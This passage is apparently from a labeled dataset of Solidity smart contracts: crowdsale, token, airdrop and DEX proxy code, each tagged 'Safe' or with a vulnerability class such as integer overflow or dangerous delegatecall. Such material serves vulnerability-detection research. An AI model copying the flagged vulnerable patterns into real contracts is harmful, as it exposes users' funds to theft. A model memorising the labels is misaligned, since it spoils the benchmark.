newEnd) public onlyOwner notLocked { require(start < newEnd); end = newEnd; } function setToken(address newToken) public onlyOwner notLocked { token = GENSharesToken(newToken); } function setWallet(address newWallet) public onlyOwner notLocked { wallet = newWallet; } function setPrice(uint newPrice) public onlyOwner notLocked { price = newPrice; } function setMinInvestedLimit(uint newMinInvestedLimit) public onlyOwner notLocked { minInvestedLimit = newMinInvestedLimit; } function bonusesCount() public constant returns(uint) { return bonuses.length; } function addBonus(uint limit, uint bonus) public onlyOwner notLocked { bonuses.push(Bonus(limit, bonus)); } function mintExtendedTokens() internal { uint extendedTokensPercent = bountyTokensPercent.add(devTokensPercent).add(advisorsTokensPercent); uint extendedTokens = minted.mul(extendedTokensPercent).div(PERCENT_RATE.sub(extendedTokensPercent)); uint summaryTokens = extendedTokens + minted; uint bountyTokens = summaryTokens.mul(bountyTokensPercent).div(PERCENT_RATE); mintAndSendTokens(bountyTokensWallet, bountyTokens); uint advisorsTokens = summaryTokens.mul(advisorsTokensPercent).div(PERCENT_RATE); mintAndSendTokens(advisorsTokensWallet, advisorsTokens); uint devTokens = extendedTokens.sub(advisorsTokens).sub(bountyTokens); mintAndSendTokens(devTokensWallet, devTokens); } function mintAndSendTokens(address to, uint amount) internal { token.mint(to, amount); minted = minted.add(amount); } function calculateAndTransferTokens() internal { // update invested value invested = invested.add(msg.value); // calculate tokens uint tokens = msg.value.mul(price).div(1 ether); uint bonus = getBonus(); if(bonus > 0) { tokens = tokens.add(tokens.mul(bonus).div(100)); } // transfer tokens mintAndSendTokens(msg.sender, tokens); } function getBonus() public constant returns(uint) { uint prevTimeLimit = start; for (uint i = 0; i < bonuses.length; i++) { Bonus storage bonus = bonuses[i]; prevTimeLimit += bonus.periodInDays * 1 days; if (now < prevTimeLimit) return bonus.bonus; } return 0; } function createTokens() public payable; function() external payable { createTokens(); } function retrieveTokens(address anotherToken) public onlyOwner { ERC20 alienToken = ERC20(anotherToken); alienToken.transfer(wallet, token.balanceOf(this)); } } contract Presale is CommonCrowdsale { uint public devLimit; uint public softcap; bool public refundOn; bool public softcapAchieved; bool public devWithdrawn; address public devWallet; address public nextSaleAgent; mapping (address => uint) public balances; function setNextSaleAgent(address newNextSaleAgent) public onlyOwner notLocked { nextSaleAgent = newNextSaleAgent; } function setSoftcap(uint newSoftcap) public onlyOwner notLocked { softcap = newSoftcap; } function setDevWallet(address newDevWallet) public onlyOwner notLocked { devWallet = newDevWallet; } function setDevLimit(uint newDevLimit) public onlyOwner notLocked { devLimit = newDevLimit; } function refund() public { require(now > start && refundOn && balances[msg.sender] > 0); uint value = balances[msg.sender]; balances[msg.sender] = 0; msg.sender.transfer(value); } function createTokens() public payable saleIsOn { balances[msg.sender] = balances[msg.sender].add(msg.value); calculateAndTransferTokens(); if(!softcapAchieved && invested >= softcap) { softcapAchieved = true; } } function widthrawDev() public { require(softcapAchieved); require(devWallet == msg.sender || owner == msg.sender); if(!devWithdrawn) { devWithdrawn = true; devWallet.transfer(devLimit); } } function widthraw() public { require(softcapAchieved); require(owner == msg.sender); widthrawDev(); wallet.transfer(this.balance); } function finishMinting() public onlyOwner { if(!softcapAchieved) { refundOn = true; token.finishMinting(); } else { mintExtendedTokens(); token.setSaleAgent(nextSaleAgent); } } } contract ICO is CommonCrowdsale { function finishMinting() public onlyOwner { mintExtendedTokens(); token.finishMinting(); } function createTokens() public payable saleIsOn { calculateAndTransferTokens(); wallet.transfer(msg.value); } } contract Deployer is Ownable { Presale public presale; ICO public ico; GENSharesToken public token; function deploy() public onlyOwner { owner = 0x379264aF7df7CF8141a23bC989aa44266DDD2c62; token = new GENSharesToken(); presale = new Presale(); presale.setToken(token); token.setSaleAgent(presale); presale.setMinInvestedLimit(100000000000000000); presale.setPrice(250000000000000000000); presale.setBountyTokensPercent(4); presale.setAdvisorsTokensPercent(2); presale.setDevTokensPercent(10); presale.setSoftcap(40000000000000000000); presale.setHardcap(50000000000000000000000); presale.addBonus(7,50); presale.addBonus(7,40); presale.addBonus(100,35); presale.setStart(1511571600); presale.setEnd(1514156400); presale.setDevLimit(6000000000000000000); presale.setWallet(0x4bB656423f5476FeC4AA729aB7B4EE0fc4d0B314); presale.setBountyTokensWallet(0xcACBE5d8Fb017407907026804Fe8BE64B08511f4); presale.setDevTokensWallet(0xa20C62282bEC52F9dA240dB8cFFc5B2fc8586652); presale.setAdvisorsTokensWallet(0xD3D85a495c7E25eAd39793F959d04ACcDf87e01b); presale.setDevWallet(0xEA15Adb66DC92a4BbCcC8Bf32fd25E2e86a2A770); ico = new ICO(); ico.setToken(token); presale.setNextSaleAgent(ico); ico.setMinInvestedLimit(100000000000000000); ico.setPrice(250000000000000000000); ico.setBountyTokensPercent(4); ico.setAdvisorsTokensPercent(2); ico.setDevTokensPercent(10); ico.setHardcap(206000000000000000000000); ico.addBonus(7,25); ico.addBonus(7,10); ico.setStart(1514163600); ico.setEnd(1517356800); ico.setWallet(0x65954fb8f45b40c9A60dffF3c8f4F39839Bf3596); ico.setBountyTokensWallet(0x6b9f45A54cDe417640f7D49D13451D7e2e9b8918); ico.setDevTokensWallet(0x55A9E5b55F067078E045c72088C3888Bbcd9a64b); ico.setAdvisorsTokensWallet(0x3e11Ff0BDd160C1D85cdf04e012eA9286ae1A964); presale.lockChanges(); ico.lockChanges(); presale.transferOwnership(owner); ico.transferOwnership(owner); token.transferOwnership(owner); } }",Safe,8,8 0x038cabdd362c5a5192f968caedfa8ce8777b312d_Movingg.sol,"pragma solidity ^0.4.12; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract Movingg is BurnableToken, Ownable { string public constant name = ""Movingg""; string public constant symbol = ""MVG""; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals)); // Constructors function Movingg () { totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner } }",Safe,8,8 0x015ccd5ad83e95b5cb91b920f689ea329d096190_ImmAirDropA.sol,"pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ImmAirDropA{ using SafeMath for uint256; struct User{ address user_address; uint signup_time; uint256 reward_amount; bool blacklisted; uint paid_time; uint256 paid_token; bool status; } uint256 fixamt = 100000000000000000000; address public owner; /* @dev Assigned wallet where the remaining unclaim tokens to be return */ address public wallet; /* @dev The token being distribute */ ERC20 public token; /* @dev To record the different reward amount for each bounty */ mapping(address => User) public bounties; /* @dev Admin with permission to manage the signed up bounty */ mapping (address => bool) public admins; function ImmAirDropA(ERC20 _token, address _wallet) public { require(_token != address(0)); token = _token; admins[msg.sender] = true; owner = msg.sender; wallet = _wallet; } modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyAdmin { require(admins[msg.sender]); _; } function addAdminWhitelist(address _userlist) public onlyOwner onlyAdmin{ if(_userlist != address(0) && !admins[_userlist]){ admins[_userlist] = true; } } function reClaimBalance() public onlyAdmin{ uint256 taBal = token.balanceOf(this); token.transfer(wallet, taBal); } function adminUpdateWallet(address _wallet) public onlyAdmin{ require(_wallet != address(0)); wallet = _wallet; } function signupUserWhitelist(address[] _userlist) public onlyAdmin{ require(_userlist.length > 0); for (uint256 i = 0; i < _userlist.length; i++) { address baddr = _userlist[i]; if(baddr != address(0)){ if(bounties[baddr].user_address != baddr){ bounties[baddr] = User(baddr,now,0,false,now,fixamt,true); token.transfer(baddr, fixamt); } } } } function () external payable { revert(); } }",Safe,8,8 936.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = 0x96edbD4356309e21b72fA307BC7f20c7Aa30aA51; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PTG_Token is StandardToken, Ownable { string public name; string public symbol; uint8 public decimals; uint256 public initialSupply; constructor() public { name = 'Petro.Global'; symbol = 'PTG'; decimals = 18; initialSupply = 5000000 * 10 ** uint256(decimals); totalSupply_ = initialSupply; balances[owner] = initialSupply; emit Transfer(0x0, owner, initialSupply); } }",./Dataset/integer overflow (OF)/,4,4 18102.sol,"pragma solidity ^0.4.18; contract EtherDeltaI { uint public feeMake; uint public feeTake; mapping (address => mapping (address => uint)) public tokens; mapping (address => mapping (bytes32 => bool)) public orders; mapping (address => mapping (bytes32 => uint)) public orderFills; function deposit() payable; function withdraw(uint amount); function depositToken(address token, uint amount); function withdrawToken(address token, uint amount); function balanceOf(address token, address user) constant returns (uint); function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce); function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount); function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool); function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint); function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint); function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s); } library KindMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; require(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } contract KeyValueStorage { mapping(address => mapping(bytes32 => uint256)) _uintStorage; mapping(address => mapping(bytes32 => address)) _addressStorage; mapping(address => mapping(bytes32 => bool)) _boolStorage; mapping(address => mapping(bytes32 => bytes32)) _bytes32Storage; function getAddress(bytes32 key) public view returns (address) { return _addressStorage[msg.sender][key]; } function getUint(bytes32 key) public view returns (uint) { return _uintStorage[msg.sender][key]; } function getBool(bytes32 key) public view returns (bool) { return _boolStorage[msg.sender][key]; } function getBytes32(bytes32 key) public view returns (bytes32) { return _bytes32Storage[msg.sender][key]; } function setAddress(bytes32 key, address value) public { _addressStorage[msg.sender][key] = value; } function setUint(bytes32 key, uint value) public { _uintStorage[msg.sender][key] = value; } function setBool(bytes32 key, bool value) public { _boolStorage[msg.sender][key] = value; } function setBytes32(bytes32 key, bytes32 value) public { _bytes32Storage[msg.sender][key] = value; } function deleteAddress(bytes32 key) public { delete _addressStorage[msg.sender][key]; } function deleteUint(bytes32 key) public { delete _uintStorage[msg.sender][key]; } function deleteBool(bytes32 key) public { delete _boolStorage[msg.sender][key]; } function deleteBytes32(bytes32 key) public { delete _bytes32Storage[msg.sender][key]; } } contract StorageStateful { KeyValueStorage public keyValueStorage; } contract StorageConsumer is StorageStateful { function StorageConsumer(address _storageAddress) public { require(_storageAddress != address(0)); keyValueStorage = KeyValueStorage(_storageAddress); } } contract Token { function totalSupply() public returns (uint256); function balanceOf(address _owner) public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function allowance(address _owner, address _spender) public returns (uint256); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); uint256 public decimals; string public name; } contract EnclavesDEXProxy is StorageConsumer { using KindMath for uint256; address public admin; address public feeAccount; struct EtherDeltaInfo { uint256 feeMake; uint256 feeTake; } EtherDeltaInfo public etherDeltaInfo; uint256 public feeTake; uint256 public feeAmountThreshold; address public etherDelta; bool public useEIP712 = true; bytes32 public tradeABIHash; bytes32 public withdrawABIHash; bool freezeTrading; bool depositTokenLock; mapping (address => mapping (uint256 => bool)) nonceCheck; mapping (address => mapping (address => uint256)) public tokens; mapping (address => mapping (bytes32 => bool)) public orders; mapping (address => mapping (bytes32 => uint256)) public orderFills; address internal implementation; address public proposedImplementation; uint256 public proposedTimestamp; event Upgraded(address _implementation); event UpgradedProposed(address _proposedImplementation, uint256 _proposedTimestamp); modifier onlyAdmin { require(msg.sender == admin); _; } function EnclavesDEXProxy(address _storageAddress, address _implementation, address _admin, address _feeAccount, uint256 _feeTake, uint256 _feeAmountThreshold, address _etherDelta, bytes32 _tradeABIHash, bytes32 _withdrawABIHash) public StorageConsumer(_storageAddress) { require(_implementation != address(0)); implementation = _implementation; admin = _admin; feeAccount = _feeAccount; feeTake = _feeTake; feeAmountThreshold = _feeAmountThreshold; etherDelta = _etherDelta; tradeABIHash = _tradeABIHash; withdrawABIHash = _withdrawABIHash; etherDeltaInfo.feeMake = EtherDeltaI(etherDelta).feeMake(); etherDeltaInfo.feeTake = EtherDeltaI(etherDelta).feeTake(); } function getImplementation() public view returns(address) { return implementation; } function proposeUpgrade(address _proposedImplementation) public onlyAdmin { require(implementation != _proposedImplementation); require(_proposedImplementation != address(0)); proposedImplementation = _proposedImplementation; proposedTimestamp = now + 2 weeks; UpgradedProposed(proposedImplementation, now); } function upgrade() public onlyAdmin { require(proposedImplementation != address(0)); require(proposedTimestamp < now); implementation = proposedImplementation; Upgraded(implementation); } function () payable public { bytes memory data = msg.data; address impl = getImplementation(); assembly { let result := delegatecall(gas, impl, add(data, 0x20), mload(data), 0, 0) let size := returndatasize let ptr := mload(0x40) returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } }",./Dataset/dangerous delegatecall (DE)/,1,1 0x00ec053f75a8189ef0763c88e483be4da40522ef_UBOToken.sol,"pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract ERC20Basic { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev protection against short address attack */ modifier onlyPayloadSize(uint numwords) { assert(msg.data.length == numwords * 32 + 4); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); require(transfersEnabled); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(transfersEnabled); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract UBOToken is StandardToken { string public constant name = ""UBSexone""; string public constant symbol = ""UBO""; uint8 public constant decimals =0; uint256 public constant INITIAL_SUPPLY = 1 * 50000000 * (10**uint256(decimals)); uint256 public weiRaised; uint256 public tokenAllocated; address public owner; bool public saleToken = true; event OwnerChanged(address indexed previousOwner, address indexed newOwner); event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken); event Transfer(address indexed _from, address indexed _to, uint256 _value); function UBOToken() public { totalSupply = INITIAL_SUPPLY; //owner = _owner; owner = msg.sender; // for testing balances[owner] = INITIAL_SUPPLY; tokenAllocated = 0; transfersEnabled = true; } // fallback function can be used to buy tokens function() payable public { buyTokens(msg.sender); } function buyTokens(address _investor) public payable returns (uint256){ require(_investor != address(0)); require(saleToken == true); address wallet = owner; uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} weiRaised = weiRaised.add(weiAmount); tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); TokenPurchase(_investor, weiAmount, tokens); wallet.transfer(weiAmount); return tokens; } function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) { uint256 addTokens = getTotalAmountOfTokens(_weiAmount); if (addTokens > balances[owner]) { TokenLimitReached(tokenAllocated, addTokens); return 0; } return addTokens; } /** * If the user sends 0 ether, he receives 50 tokens. * If he sends 0.001 ether, he receives 1500 tokens * If he sends 0.005 ether he receives 9,000 tokens * If he sends 0.01ether, he receives 20,000 tokens * If he sends 0.05ether he receives 110,000 tokens * If he sends 0.1ether, he receives 230,000 tokens */ function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) { uint256 amountOfTokens = 100; // if(_weiAmount == 0){ // amountOfTokens = 100 * (10**uint256(decimals)); // } // if( _weiAmount == 0.001 ether){ // amountOfTokens = 15 * 10**2 * (10**uint256(decimals)); // } // if( _weiAmount == 0.005 ether){ // amountOfTokens = 9 * 10**3 * (10**uint256(decimals)); // } // if( _weiAmount == 0.01 ether){ // amountOfTokens = 20 * 10**3 * (10**uint256(decimals)); // } // if( _weiAmount == 0.05 ether){ // amountOfTokens = 110 * 10**3 * (10**uint256(decimals)); // } // if( _weiAmount == 0.1 ether){ // amountOfTokens = 230 * 10**3 * (10**uint256(decimals)); // } return amountOfTokens; } function mint(address _to, uint256 _amount, address _owner) internal returns (bool) { require(_to != address(0)); require(_amount <= balances[_owner]); balances[_to] = balances[_to].add(_amount); balances[_owner] = balances[_owner].sub(_amount); Transfer(_owner, _to, _amount); return true; } modifier onlyOwner() { require(msg.sender == owner); _; } function changeOwner(address _newOwner) onlyOwner public returns (bool){ require(_newOwner != address(0)); OwnerChanged(owner, _newOwner); owner = _newOwner; return true; } function startSale() public onlyOwner { saleToken = true; } function stopSale() public onlyOwner { saleToken = false; } function enableTransfers(bool _transfersEnabled) onlyOwner public { transfersEnabled = _transfersEnabled; } /** * Peterson's Law Protection * Claim tokens */ function claimTokens() public onlyOwner { owner.transfer(this.balance); uint256 balance = balanceOf(this); transfer(owner, balance); Transfer(this, owner, balance); } }",Safe,8,8 344.sol,"pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error * Name : CyberClassic (CYC) * Decimals : 8 * TotalSupply : 1000000000 * * * * */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 